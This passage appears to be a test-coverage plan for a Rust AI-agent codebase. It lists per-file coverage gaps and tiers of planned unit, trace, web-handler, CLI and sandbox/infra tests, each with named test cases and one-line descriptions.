| `src/channels/web/handlers/routines.rs` | 249 | 249 | 0.0% | 236 |
|
||||
| `src/agent/scheduler.rs` | 559 | 263 | 53.0% | 235 |
|
||||
| `src/tools/wasm/storage.rs` | 296 | 243 | 17.9% | 228 |
|
||||
| `src/channels/repl.rs` | 233 | 233 | 0.0% | 221 |
|
||||
| `src/llm/session.rs` | 413 | 242 | 41.4% | 221 |
|
||||
| `src/worker/claude_bridge.rs` | 629 | 247 | 60.7% | 215 |
|
||||
| `src/agent/agent_loop.rs` | 523 | 234 | 55.2% | 207 |
|
||||
| `src/worker/api.rs` | 258 | 207 | 19.8% | 194 |
|
||||
| `src/sandbox/proxy/http.rs` | 307 | 192 | 37.5% | 176 |
|
||||
| `src/channels/wasm/storage.rs` | 182 | 182 | 0.0% | 172 |
|
||||
| `src/cli/registry.rs` | 177 | 177 | 0.0% | 168 |
|
||||
| `src/llm/reasoning.rs` | 1,163 | 219 | 81.2% | 160 |
|
||||
| `src/tools/builder/testing.rs` | 308 | 174 | 43.5% | 158 |
|
||||
| `src/db/postgres.rs` | 166 | 166 | 0.0% | 157 |
|
||||
|
||||
---
|
||||
|
||||
## Tier 1 -- High-Impact Unit Tests (~8,500 lines)
|
||||
|
||||
Pure logic, serialization, and database queries testable in isolation without real
|
||||
infrastructure. Highest coverage gain per unit of effort.
|
||||
|
||||
### `src/history/store.rs` -- 0% -> 95% (+1,411 lines)
|
||||
|
||||
PostgreSQL repository layer (conversations, jobs, actions, LLM calls, estimation
|
||||
snapshots). Test query construction and result mapping. Can use the libSQL backend
|
||||
as a real in-memory database or test doubles for the `Database` trait.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_store_conversation_crud` -- create, read, update, delete conversations
|
||||
- `test_store_job_lifecycle` -- insert job, update status through state machine
|
||||
- `test_store_action_recording` -- record and query job actions
|
||||
- `test_store_llm_call_tracking` -- insert and aggregate LLM call records
|
||||
- `test_store_estimation_snapshots` -- save and retrieve estimation data
|
||||
|
||||
### `src/history/analytics.rs` -- 0% -> 95% (+133 lines)
|
||||
|
||||
Aggregation queries (JobStats, ToolStats). Test the query builders and result
|
||||
deserialization.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_job_stats_aggregation` -- verify counts, durations, success rates
|
||||
- `test_tool_stats_ranking` -- verify tool usage frequency sorting
|
||||
- `test_analytics_empty_db` -- graceful handling of no data
|
||||
|
||||
### `src/extensions/manager.rs` -- 13.3% -> 95% (+1,962 lines)
|
||||
|
||||
Largest single file gap. Extension lifecycle orchestration (install, auth,
|
||||
activate, remove), config parsing, and state transitions.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_extension_install_from_manifest` -- parse manifest, create extension record
|
||||
- `test_extension_auth_flow` -- OAuth token setup, credential storage
|
||||
- `test_extension_activate_deactivate` -- state transitions, tool registration
|
||||
- `test_extension_remove_cleanup` -- remove extension, clean up artifacts
|
||||
- `test_extension_config_validation` -- reject invalid configs, handle defaults
|
||||
- `test_extension_list_filtering` -- filter by status, type, search query
|
||||
- `test_extension_capability_check` -- verify required capabilities before activation
|
||||
|
||||
### `src/extensions/discovery.rs` -- 27.8% -> 95% (+125 lines)
|
||||
|
||||
Extension discovery from filesystem and registry.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_discover_local_extensions` -- scan directory, parse manifests
|
||||
- `test_discover_skip_invalid` -- gracefully skip malformed extension dirs
|
||||
- `test_discover_dedup` -- handle duplicate extensions across paths
|
||||
|
||||
### `src/tools/builder/core.rs` -- 13% -> 95% (+429 lines)
|
||||
|
||||
`BuildRequirement`, `SoftwareType`, `Language` types and project scaffolding.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_build_requirement_parsing` -- deserialize from JSON
|
||||
- `test_scaffold_project_structure` -- verify generated file tree
|
||||
- `test_language_detection` -- detect language from file extensions
|
||||
- `test_software_type_constraints` -- validate type-specific requirements
|
||||
|
||||
### `src/tools/builder/testing.rs` -- 43.5% -> 95% (+158 lines)
|
||||
|
||||
Test harness integration for built tools.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_harness_setup_teardown` -- lifecycle of test environment
|
||||
- `test_harness_run_tests` -- execute tests and capture results
|
||||
- `test_harness_failure_reporting` -- verify error details on test failure
|
||||
|
||||
### `src/tools/mcp/auth.rs` -- 19.9% -> 95% (+354 lines)
|
||||
|
||||
OAuth token management for MCP servers.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_token_refresh_on_expiry` -- auto-refresh when token expires
|
||||
- `test_token_header_injection` -- correct Authorization header format
|
||||
- `test_token_persistence` -- save/load tokens across restarts
|
||||
- `test_oauth_pkce_flow` -- code verifier/challenge generation
|
||||
- `test_auth_config_parsing` -- parse various auth config formats
|
||||
|
||||
### `src/tools/mcp/client.rs` -- 14.7% -> 95% (+273 lines)
|
||||
|
||||
JSON-RPC client for MCP protocol.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_jsonrpc_request_serialization` -- correct JSON-RPC 2.0 format
|
||||
- `test_jsonrpc_response_parsing` -- handle success, error, and batch responses
|
||||
- `test_jsonrpc_error_codes` -- map MCP error codes to ToolError
|
||||
- `test_tool_list_discovery` -- parse tools/list response
|
||||
- `test_tool_call_roundtrip` -- serialize call, parse result
|
||||
|
||||
### `src/tools/wasm/storage.rs` -- 17.9% -> 95% (+228 lines)
|
||||
|
||||
WASM tool persistence (store, load, delete, list).
|
||||
|
||||
**Tests to write:**
|
||||
- `test_wasm_tool_store_roundtrip` -- store and retrieve tool binary + metadata
|
||||
- `test_wasm_tool_delete` -- remove tool and verify gone
|
||||
- `test_wasm_tool_list_filtering` -- filter by name, capability
|
||||
- `test_wasm_tool_update_metadata` -- update without re-uploading binary
|
||||
|
||||
### `src/tools/wasm/wrapper.rs` -- 56.6% -> 95% (+385 lines)
|
||||
|
||||
Tool trait wrapper for WASM modules.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_wasm_param_marshalling` -- JSON params to WASM component model types
|
||||
- `test_wasm_output_conversion` -- WASM return values to ToolOutput
|
||||
- `test_wasm_error_propagation` -- WASM traps to ToolError
|
||||
- `test_wasm_fuel_exhaustion` -- verify fuel limit enforcement
|
||||
- `test_wasm_memory_limit` -- verify memory ceiling
|
||||
|
||||
### `src/tools/wasm/loader.rs` -- 62.4% -> 95% (+156 lines)
|
||||
|
||||
WASM tool discovery from filesystem.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_loader_scan_directory` -- find .wasm files with capabilities.json
|
||||
- `test_loader_skip_invalid` -- skip files without valid WIT exports
|
||||
- `test_loader_cache_invalidation` -- reload when file changes
|
||||
|
||||
### `src/tools/builtin/job.rs` -- 64.6% -> 95% (+308 lines)
|
||||
|
||||
Job management tools (CreateJob, ListJobs, JobStatus, CancelJob).
|
||||
|
||||
**Tests to write:**
|
||||
- `test_create_job_params` -- validate required/optional parameters
|
||||
- `test_list_jobs_formatting` -- verify output structure
|
||||
- `test_job_status_transitions` -- query status at each state
|
||||
- `test_cancel_job_running` -- cancel an in-progress job
|
||||
- `test_cancel_job_completed` -- error on already-completed job
|
||||
|
||||
### `src/secrets/store.rs` -- 48.1% -> 95% (+145 lines)
|
||||
|
||||
Encrypted secret storage.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_secret_store_roundtrip` -- store encrypted, retrieve decrypted
|
||||
- `test_secret_update` -- overwrite existing secret
|
||||
- `test_secret_delete` -- remove and verify inaccessible
|
||||
- `test_secret_list_redacted` -- list shows names but not values
|
||||
|
||||
### `src/llm/session.rs` -- 41.4% -> 95% (+221 lines)
|
||||
|
||||
Session token management with auto-renewal.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_session_token_parsing` -- parse `sess_xxx` format
|
||||
- `test_session_expiry_detection` -- detect expired tokens
|
||||
- `test_session_auto_renewal` -- trigger renewal before expiry
|
||||
- `test_session_concurrent_renewal` -- only one renewal in flight
|
||||
|
||||
### `src/llm/nearai_chat.rs` -- 60.2% -> 95% (+297 lines)
|
||||
|
||||
NEAR AI Chat Completions provider.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_nearai_request_building` -- correct endpoint, headers, body
|
||||
- `test_nearai_response_parsing` -- parse streaming and non-streaming responses
|
||||
- `test_nearai_tool_message_flattening` -- tool messages flattened to text
|
||||
- `test_nearai_auth_modes` -- session token vs API key auth
|
||||
- `test_nearai_error_handling` -- rate limits, auth failures, server errors
|
||||
|
||||
### `src/llm/mod.rs` -- 53.7% -> 95% (+112 lines)
|
||||
|
||||
Provider factory and backend selection.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_provider_factory_nearai` -- select NEAR AI from config
|
||||
- `test_provider_factory_openai` -- select OpenAI from config
|
||||
- `test_provider_factory_ollama` -- select Ollama from config
|
||||
- `test_provider_factory_invalid` -- error on unknown backend
|
||||
|
||||
### `src/llm/reasoning.rs` -- 81.2% -> 95% (+160 lines)
|
||||
|
||||
Planning, tool selection, evaluation logic.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_reasoning_step_parsing` -- parse planning steps from LLM output
|
||||
- `test_tool_selection_scoring` -- rank tools by relevance
|
||||
- `test_evaluation_rubric` -- score completions against criteria
|
||||
- `test_reasoning_with_no_tools` -- handle tool-less responses
|
||||
|
||||
### `src/db/postgres.rs` -- 0% -> 95% (+157 lines)
|
||||
|
||||
PostgreSQL backend delegation to Store + Repository.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_postgres_backend_delegates` -- verify delegation pattern (trait-level)
|
||||
- `test_postgres_connection_config` -- TLS, pool size, timeout parsing
|
||||
|
||||
### `src/workspace/mod.rs` -- 75.9% -> 95% (+109 lines)
|
||||
|
||||
Memory operations (write, read, search, tree).
|
||||
|
||||
**Tests to write:**
|
||||
- `test_workspace_write_read` -- write document, read it back
|
||||
- `test_workspace_search_hybrid` -- FTS + vector search via RRF
|
||||
- `test_workspace_tree` -- directory listing of memory filesystem
|
||||
- `test_workspace_overwrite` -- update existing document
|
||||
|
||||
### `src/workspace/embeddings.rs` -- 35.1% -> 95% (~100 lines)
|
||||
|
||||
Embedding provider abstraction.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_embedding_dimension_handling` -- verify dimension config
|
||||
- `test_embedding_batch_processing` -- batch multiple chunks
|
||||
- `test_embedding_provider_fallback` -- graceful degradation when unavailable
|
||||
|
||||
---
|
||||
|
||||
## Tier 2 -- Trace Tests (~7,000 lines)
|
||||
|
||||
End-to-end tests that exercise the agent loop, worker, scheduler, and dispatcher
|
||||
by replaying LLM traces through `TestRig` (see `tests/support/test_rig.rs`). Each
|
||||
trace test covers multiple modules simultaneously, making them high-leverage.
|
||||
|
||||
Each trace test needs:
|
||||
1. A JSON fixture in `tests/fixtures/llm_traces/`
|
||||
2. A test file in `tests/` using `TestRigBuilder`
|
||||
|
||||
### Trace: Thread Operations
|
||||
|
||||
**Covers:** `agent/thread_ops.rs` (+710 lines)
|
||||
|
||||
Test thread creation, listing, switching, and deletion via trace replay.
|
||||
|
||||
**Fixture:** `thread_operations.json`
|
||||
**Tests:**
|
||||
- `test_thread_create_and_switch` -- create thread, switch to it, verify context
|
||||
- `test_thread_list` -- list all threads, verify metadata
|
||||
- `test_thread_delete` -- delete thread, verify removal
|
||||
- `test_thread_switch_nonexistent` -- error handling for missing thread
|
||||
|
||||
### Trace: Agent Commands
|
||||
|
||||
**Covers:** `agent/commands.rs` (+557 lines)
|
||||
|
||||
Test slash commands through the agent loop.
|
||||
|
||||
**Fixture:** `agent_commands.json`
|
||||
**Tests:**
|
||||
- `test_command_help` -- /help returns command list
|
||||
- `test_command_clear` -- /clear resets conversation
|
||||
- `test_command_compact` -- /compact triggers summarization
|
||||
- `test_command_undo_redo` -- /undo then /redo restores state
|
||||
- `test_command_status` -- /status shows agent state
|
||||
|
||||
### Trace: Worker Multi-Turn Execution
|
||||
|
||||
**Covers:** `worker/job.rs` (+413 lines), `agent/agent_loop.rs` (+207 lines)
|
||||
|
||||
Test multi-turn tool calling, error recovery, and completion flows.
|
||||
|
||||
**Fixture:** `worker_multi_turn.json`
|
||||
**Tests:**
|
||||
- `test_worker_sequential_tools` -- call tool A, then tool B based on A's result
|
||||
- `test_worker_tool_error_recovery` -- tool fails, agent retries or adapts
|
||||
- `test_worker_max_turns` -- verify turn limit enforcement
|
||||
|
||||
### Trace: Scheduler Parallel Jobs
|
||||
|
||||
**Covers:** `agent/scheduler.rs` (+235 lines)
|
||||
|
||||
Test parallel job dispatch and completion tracking.
|
||||
|
||||
**Fixture:** `scheduler_parallel.json`
|
||||
**Tests:**
|
||||
- `test_scheduler_parallel_dispatch` -- dispatch 3 jobs, all complete
|
||||
- `test_scheduler_job_dependency` -- job B waits for job A
|
||||
- `test_scheduler_stuck_detection` -- detect and recover stuck job
|
||||
|
||||
### Trace: Dispatcher Skill Selection
|
||||
|
||||
**Covers:** `agent/dispatcher.rs` (+153 lines)
|
||||
|
||||
Test skill-aware routing and tool attenuation.
|
||||
|
||||
**Fixture:** `dispatcher_skills.json`
|
||||
**Tests:**
|
||||
- `test_dispatcher_skill_match` -- match message to skill, inject prompt
|
||||
- `test_dispatcher_tool_attenuation` -- installed skill loses dangerous tools
|
||||
- `test_dispatcher_no_skill` -- fallback when no skill matches
|
||||
|
||||
### Trace: Routine Execution
|
||||
|
||||
**Covers:** `agent/routine_engine.rs` (~80 lines), `agent/routine.rs` (~40 lines)
|
||||
|
||||
Test cron tick and event-triggered routine execution.
|
||||
|
||||
**Fixture:** `routine_execution.json`
|
||||
**Tests:**
|
||||
- `test_routine_cron_trigger` -- routine fires on schedule
|
||||
- `test_routine_event_trigger` -- routine fires on matching event
|
||||
- `test_routine_guardrails` -- routine respects policy constraints
|
||||
|
||||
### Trace: Compaction and Context Pressure
|
||||
|
||||
**Covers:** `agent/compaction.rs` (~50 lines), `agent/context_monitor.rs` (~30 lines)
|
||||
|
||||
Test turn summarization and memory pressure detection.
|
||||
|
||||
**Fixture:** `compaction_flow.json`
|
||||
**Tests:**
|
||||
- `test_compaction_triggers_at_threshold` -- summarize when context exceeds limit
|
||||
- `test_compaction_preserves_recent` -- keep recent turns intact
|
||||
- `test_context_pressure_warning` -- emit warning at high usage
|
||||
|
||||
### Trace: Job Tool Coverage
|
||||
|
||||
**Covers:** `tools/builtin/job.rs` (+308 lines), `tools/builtin/skill_tools.rs` (+110 lines)
|
||||
|
||||
Test job and skill management tools through agent execution.
|
||||
|
||||
**Fixture:** `job_and_skill_tools.json`
|
||||
**Tests:**
|
||||
- `test_create_and_list_jobs` -- create job, list shows it
|
||||
- `test_job_status_query` -- query status of running job
|
||||
- `test_skill_list_and_search` -- list local skills, search registry
|
||||
|
||||
### Trace: Memory Tools
|
||||
|
||||
**Covers:** `tools/builtin/memory.rs` (~20 lines), `workspace/` (+109 lines)
|
||||
|
||||
Test memory operations through agent tool calls.
|
||||
|
||||
**Fixture:** `memory_tools.json`
|
||||
**Tests:**
|
||||
- `test_memory_write_and_search` -- write doc, search finds it
|
||||
- `test_memory_read_by_path` -- read specific document
|
||||
- `test_memory_tree` -- list memory filesystem structure
|
||||
|
||||
### Trace: Extension Management
|
||||
|
||||
**Covers:** `tools/builtin/extension_tools.rs` (~40 lines)
|
||||
|
||||
Test extension lifecycle via agent tool calls.
|
||||
|
||||
**Fixture:** `extension_management.json`
|
||||
**Tests:**
|
||||
- `test_extension_install_via_tool` -- agent installs an extension
|
||||
- `test_extension_auth_via_tool` -- agent configures auth
|
||||
- `test_extension_activate_via_tool` -- agent activates extension
|
||||
|
||||
### Trace: Self-Repair
|
||||
|
||||
**Covers:** `agent/self_repair.rs` (~40 lines)
|
||||
|
||||
Test stuck job detection and recovery.
|
||||
|
||||
**Fixture:** `self_repair.json`
|
||||
**Tests:**
|
||||
- `test_stuck_job_detected` -- job stuck for > threshold triggers repair
|
||||
- `test_stuck_job_recovered` -- recovery restarts job successfully
|
||||
- `test_stuck_job_fails_permanently` -- recovery fails, job marked failed
|
||||
|
||||
### Trace: Heartbeat
|
||||
|
||||
**Covers:** `agent/heartbeat.rs` (+80 lines)
|
||||
|
||||
Test periodic proactive execution.
|
||||
|
||||
**Fixture:** `heartbeat.json`
|
||||
**Tests:**
|
||||
- `test_heartbeat_periodic_fire` -- heartbeat triggers at interval
|
||||
- `test_heartbeat_reads_checklist` -- reads HEARTBEAT.md, processes items
|
||||
- `test_heartbeat_notification` -- sends notification on findings
|
||||
|
||||
---
|
||||
|
||||
## Tier 3 -- Web/Channel Handler Tests (~4,500 lines)
|
||||
|
||||
Test HTTP handlers and SSE/WS endpoints using `axum_test` or
|
||||
`tower::ServiceExt::oneshot` with a real router and in-memory database.
|
||||
|
||||
### `src/channels/web/server.rs` -- 50% -> 95% (+893 lines)
|
||||
|
||||
The single biggest web gap. 40+ API endpoints.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_api_health` -- GET /health returns 200
|
||||
- `test_api_chat_submit` -- POST /api/chat sends message
|
||||
- `test_api_jobs_list` -- GET /api/jobs returns job list
|
||||
- `test_api_jobs_create` -- POST /api/jobs creates job
|
||||
- `test_api_routines_crud` -- full CRUD cycle for routines
|
||||
- `test_api_settings_get_set` -- GET/PUT settings
|
||||
- `test_api_memory_search` -- POST /api/memory/search
|
||||
- `test_api_extensions_list` -- GET /api/extensions
|
||||
- `test_api_skills_list` -- GET /api/skills
|
||||
- `test_api_sse_connect` -- SSE stream connects and receives events
|
||||
- `test_api_auth_required` -- endpoints reject missing/bad tokens
|
||||
- `test_api_cors_headers` -- verify CORS configuration
|
||||
|
||||
### `src/channels/web/handlers/chat.rs` -- 26.1% -> 95% (+388 lines)
|
||||
|
||||
Chat message submission and SSE streaming.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_chat_submit_message` -- submit message, receive response
|
||||
- `test_chat_sse_stream` -- verify SSE event format
|
||||
- `test_chat_thread_context` -- messages scoped to thread
|
||||
- `test_chat_invalid_payload` -- reject malformed requests
|
||||
|
||||
### `src/channels/web/handlers/jobs.rs` -- 11.1% -> 95% (+430 lines)
|
||||
|
||||
Job CRUD endpoints.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_jobs_list_empty` -- empty list returns []
|
||||
- `test_jobs_create_and_get` -- create, then GET by ID
|
||||
- `test_jobs_cancel` -- cancel running job
|
||||
- `test_jobs_filter_by_status` -- filter by pending/running/completed
|
||||
- `test_jobs_pagination` -- limit/offset parameters
|
||||
|
||||
### `src/channels/web/handlers/routines.rs` -- 0% -> 95% (+236 lines)
|
||||
|
||||
Routine CRUD endpoints.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_routines_create` -- POST creates routine
|
||||
- `test_routines_list` -- GET lists all routines
|
||||
- `test_routines_update` -- PUT updates routine config
|
||||
- `test_routines_delete` -- DELETE removes routine
|
||||
- `test_routines_history` -- GET history for a routine
|
||||
|
||||
### `src/channels/web/handlers/extensions.rs` -- 0% -> 95% (+129 lines)
|
||||
|
||||
Extension management endpoints.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_extensions_list` -- list installed extensions
|
||||
- `test_extensions_install` -- install from manifest URL
|
||||
- `test_extensions_activate` -- activate/deactivate toggle
|
||||
- `test_extensions_remove` -- remove installed extension
|
||||
|
||||
### `src/channels/web/handlers/memory.rs` -- 0% -> 95% (+110 lines)
|
||||
|
||||
Memory/workspace endpoints.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_memory_search` -- search returns ranked results
|
||||
- `test_memory_write` -- write a document
|
||||
- `test_memory_read` -- read by path
|
||||
- `test_memory_tree` -- tree returns filesystem structure
|
||||
|
||||
### `src/channels/web/handlers/settings.rs` -- 0% -> 95% (+103 lines)
|
||||
|
||||
Settings endpoints.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_settings_get` -- retrieve current settings
|
||||
- `test_settings_update` -- update individual setting
|
||||
- `test_settings_validation` -- reject invalid setting values
|
||||
|
||||
### `src/channels/web/handlers/static_files.rs` -- 0% -> 95% (+97 lines)
|
||||
|
||||
Static file serving.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_static_index_html` -- GET / serves index.html
|
||||
- `test_static_css_js` -- serve CSS/JS with correct content types
|
||||
- `test_static_404` -- missing file returns 404
|
||||
|
||||
### `src/channels/wasm/wrapper.rs` -- 58.2% -> 95% (+822 lines)
|
||||
|
||||
WASM channel wrapper (message routing, lifecycle).
|
||||
|
||||
**Tests to write:**
|
||||
- `test_wasm_channel_start` -- initialize WASM channel module
|
||||
- `test_wasm_channel_message_routing` -- route incoming message to WASM
|
||||
- `test_wasm_channel_response` -- return WASM response to caller
|
||||
- `test_wasm_channel_error_handling` -- handle WASM trap gracefully
|
||||
- `test_wasm_channel_lifecycle` -- start, process, shutdown
|
||||
|
||||
### `src/channels/wasm/loader.rs` -- 38.1% -> 95% (+141 lines)
|
||||
|
||||
WASM channel discovery.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_channel_loader_scan` -- find channel WASM modules
|
||||
- `test_channel_loader_validation` -- reject invalid modules
|
||||
- `test_channel_loader_manifest` -- parse channel capabilities
|
||||
|
||||
### `src/channels/wasm/storage.rs` -- 0% -> 95% (+172 lines)
|
||||
|
||||
WASM channel state persistence.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_channel_storage_save_load` -- persist and restore channel state
|
||||
- `test_channel_storage_isolation` -- per-channel state isolation
|
||||
- `test_channel_storage_cleanup` -- remove state on channel uninstall
|
||||
|
||||
### `src/channels/signal.rs` -- 74% -> 95% (+381 lines)
|
||||
|
||||
Signal protocol channel.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_signal_message_send` -- send encrypted message
|
||||
- `test_signal_message_receive` -- decrypt incoming message
|
||||
- `test_signal_attachment_handling` -- handle media attachments
|
||||
- `test_signal_group_message` -- group chat routing
|
||||
- `test_signal_error_handling` -- handle connection failures
|
||||
|
||||
### `src/channels/repl.rs` -- 0% -> 95% (+221 lines)
|
||||
|
||||
Simple REPL channel.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_repl_input_parsing` -- parse user input lines
|
||||
- `test_repl_output_formatting` -- format agent responses
|
||||
- `test_repl_multiline` -- handle multi-line input
|
||||
- `test_repl_special_commands` -- handle /quit, /help
|
||||
|
||||
---
|
||||
|
||||
## Tier 4 -- CLI Tests (~2,100 lines)
|
||||
|
||||
CLI subcommands can be tested by invoking clap-parsed command structs directly
|
||||
or by calling the handler functions with constructed arguments.
|
||||
|
||||
### `src/cli/tool.rs` -- 2.9% -> 95% (+697 lines)
|
||||
|
||||
Tool CLI (install, list, remove, build).
|
||||
|
||||
**Tests to write:**
|
||||
- `test_cli_tool_list` -- list installed tools
|
||||
- `test_cli_tool_install_local` -- install from local .wasm file
|
||||
- `test_cli_tool_install_registry` -- install from registry
|
||||
- `test_cli_tool_remove` -- remove installed tool
|
||||
- `test_cli_tool_build` -- scaffold and build tool project
|
||||
- `test_cli_tool_info` -- display tool details
|
||||
|
||||
### `src/cli/mcp.rs` -- 0.9% -> 95% (+302 lines)
|
||||
|
||||
MCP server management CLI.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_cli_mcp_list` -- list configured MCP servers
|
||||
- `test_cli_mcp_add` -- add MCP server config
|
||||
- `test_cli_mcp_remove` -- remove MCP server config
|
||||
- `test_cli_mcp_tools` -- list tools from MCP server
|
||||
- `test_cli_mcp_test_connection` -- verify MCP server reachable
|
||||
|
||||
### `src/cli/oauth_defaults.rs` -- 54.1% -> 95% (+298 lines)
|
||||
|
||||
OAuth default configurations.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_oauth_defaults_loading` -- load default OAuth configs
|
||||
- `test_oauth_url_construction` -- build auth/token URLs
|
||||
- `test_oauth_scope_merging` -- merge requested scopes with defaults
|
||||
- `test_oauth_provider_lookup` -- lookup by provider name
|
||||
|
||||
### `src/cli/registry.rs` -- 0% -> 95% (+168 lines)
|
||||
|
||||
Registry CLI commands.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_cli_registry_search` -- search for packages
|
||||
- `test_cli_registry_install` -- install package from registry
|
||||
- `test_cli_registry_info` -- display package details
|
||||
|
||||
### `src/cli/status.rs` -- 0% -> 95% (+142 lines)
|
||||
|
||||
Status display commands.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_cli_status_gathering` -- collect system status info
|
||||
- `test_cli_status_formatting` -- render status output
|
||||
- `test_cli_status_components` -- check individual components
|
||||
|
||||
### `src/cli/memory.rs` -- 15.5% -> 95% (+138 lines)
|
||||
|
||||
Memory CLI subcommands.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_cli_memory_search` -- search workspace from CLI
|
||||
- `test_cli_memory_write` -- write document from CLI
|
||||
- `test_cli_memory_read` -- read document from CLI
|
||||
- `test_cli_memory_tree` -- display memory tree
|
||||
|
||||
### `src/cli/doctor.rs` -- 28.7% -> 95% (+115 lines)
|
||||
|
||||
Diagnostic checks.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_doctor_check_database` -- verify DB connectivity check
|
||||
- `test_doctor_check_llm` -- verify LLM provider check
|
||||
- `test_doctor_check_tools` -- verify tool availability check
|
||||
- `test_doctor_report_format` -- verify output format
|
||||
|
||||
### `src/cli/config.rs` -- 36.5% -> 95% (~100 lines)
|
||||
|
||||
Config CLI subcommands.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_cli_config_get` -- read config value
|
||||
- `test_cli_config_set` -- write config value
|
||||
- `test_cli_config_list` -- list all config keys
|
||||
- `test_cli_config_reset` -- reset to defaults
|
||||
|
||||
---
|
||||
|
||||
## Tier 5 -- Setup/Infra Tests (~2,400 lines)
|
||||
|
||||
Hardest to test: interactive wizards, Docker, process spawning. Strategy: extract
|
||||
pure logic into testable functions, test the interactive parts by injecting mock
|
||||
input.
|
||||
|
||||
### `src/setup/wizard.rs` -- 16.8% -> 95% (+1,681 lines)
|
||||
|
||||
7-step interactive onboarding wizard. Refactor to extract validation functions,
|
||||
step logic, and config generation into testable units.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_wizard_step_validation` -- each step validates input correctly
|
||||
- `test_wizard_config_generation` -- generate config from wizard answers
|
||||
- `test_wizard_default_values` -- verify sensible defaults
|
||||
- `test_wizard_skip_completed` -- skip already-configured steps
|
||||
- `test_wizard_llm_backend_selection` -- provider-specific config paths
|
||||
- `test_wizard_channel_setup` -- channel configuration logic
|
||||
|
||||
### `src/setup/channels.rs` -- 7.6% -> 95% (+563 lines)
|
||||
|
||||
Channel setup helpers.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_channel_setup_defaults` -- default channel configuration
|
||||
- `test_channel_setup_validation` -- reject invalid channel configs
|
||||
- `test_channel_setup_telegram` -- Telegram-specific setup logic
|
||||
- `test_channel_setup_signal` -- Signal-specific setup logic
|
||||
- `test_channel_setup_webhook` -- webhook URL validation
|
||||
|
||||
### `src/setup/prompts.rs` -- 24.8% -> 95% (+147 lines)
|
||||
|
||||
Terminal prompt utilities.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_prompt_select` -- selection from list
|
||||
- `test_prompt_confirm` -- yes/no confirmation
|
||||
- `test_prompt_secret` -- masked input
|
||||
- `test_prompt_validation` -- input validation rules
|
||||
|
||||
### `src/sandbox/container.rs` -- 22.1% -> 95% (+296 lines)
|
||||
|
||||
Docker container lifecycle. Test command construction without actual Docker.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_container_config_to_docker_args` -- generate correct docker run args
|
||||
- `test_container_volume_mounts` -- workspace mount configuration
|
||||
- `test_container_env_scrubbing` -- sensitive env vars removed
|
||||
- `test_container_resource_limits` -- CPU/memory limit args
|
||||
- `test_container_network_config` -- proxy network setup
|
||||
|
||||
### `src/sandbox/manager.rs` -- 59% -> 95% (+114 lines)
|
||||
|
||||
Sandbox orchestration.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_sandbox_policy_enforcement` -- policy to container config mapping
|
||||
- `test_sandbox_cleanup` -- cleanup on job completion
|
||||
- `test_sandbox_concurrent_limit` -- enforce max concurrent containers
|
||||
|
||||
### `src/sandbox/proxy/http.rs` -- 37.5% -> 95% (+176 lines)
|
||||
|
||||
HTTP proxy for container network access.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_proxy_allowlist_enforcement` -- block disallowed domains
|
||||
- `test_proxy_credential_injection` -- inject auth headers
|
||||
- `test_proxy_connect_tunnel` -- HTTPS CONNECT method handling
|
||||
- `test_proxy_logging` -- request/response logging
|
||||
|
||||
### `src/worker/container.rs` -- 5.7% -> 95% (+312 lines)
|
||||
|
||||
Worker execution loop (runs inside containers).
|
||||
|
||||
**Tests to write:**
|
||||
- `test_worker_tool_dispatch` -- dispatch tool call, return result
|
||||
- `test_worker_llm_interaction` -- send prompt, receive response
|
||||
- `test_worker_turn_limit` -- enforce max turns
|
||||
- `test_worker_error_propagation` -- tool error surfaces to agent
|
||||
|
||||
### `src/worker/claude_bridge.rs` -- 60.7% -> 95% (+215 lines)
|
||||
|
||||
Claude CLI bridge.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_claude_command_construction` -- build claude CLI command
|
||||
- `test_claude_output_parsing` -- parse claude CLI JSON output
|
||||
- `test_claude_error_handling` -- handle CLI crashes gracefully
|
||||
- `test_claude_config_injection` -- inject config dir and model
|
||||
|
||||
### `src/worker/api.rs` -- 19.8% -> 95% (+194 lines)
|
||||
|
||||
Worker HTTP client to orchestrator.
|
||||
|
||||
**Tests to write:**
|
||||
- `test_worker_api_request_building` -- correct endpoint URLs and headers
|
||||
- `test_worker_api_response_parsing` -- parse orchestrator responses
|
||||
- `test_worker_api_auth_token` -- bearer token injection
|
||||
- `test_worker_api_retry` -- retry on transient failures
|
||||
|
||||
### `src/main.rs` -- 29.4% -> 95% (+485 lines)
|
||||
|
||||
Entry point and startup. Extract startup logic into testable functions.
|
||||
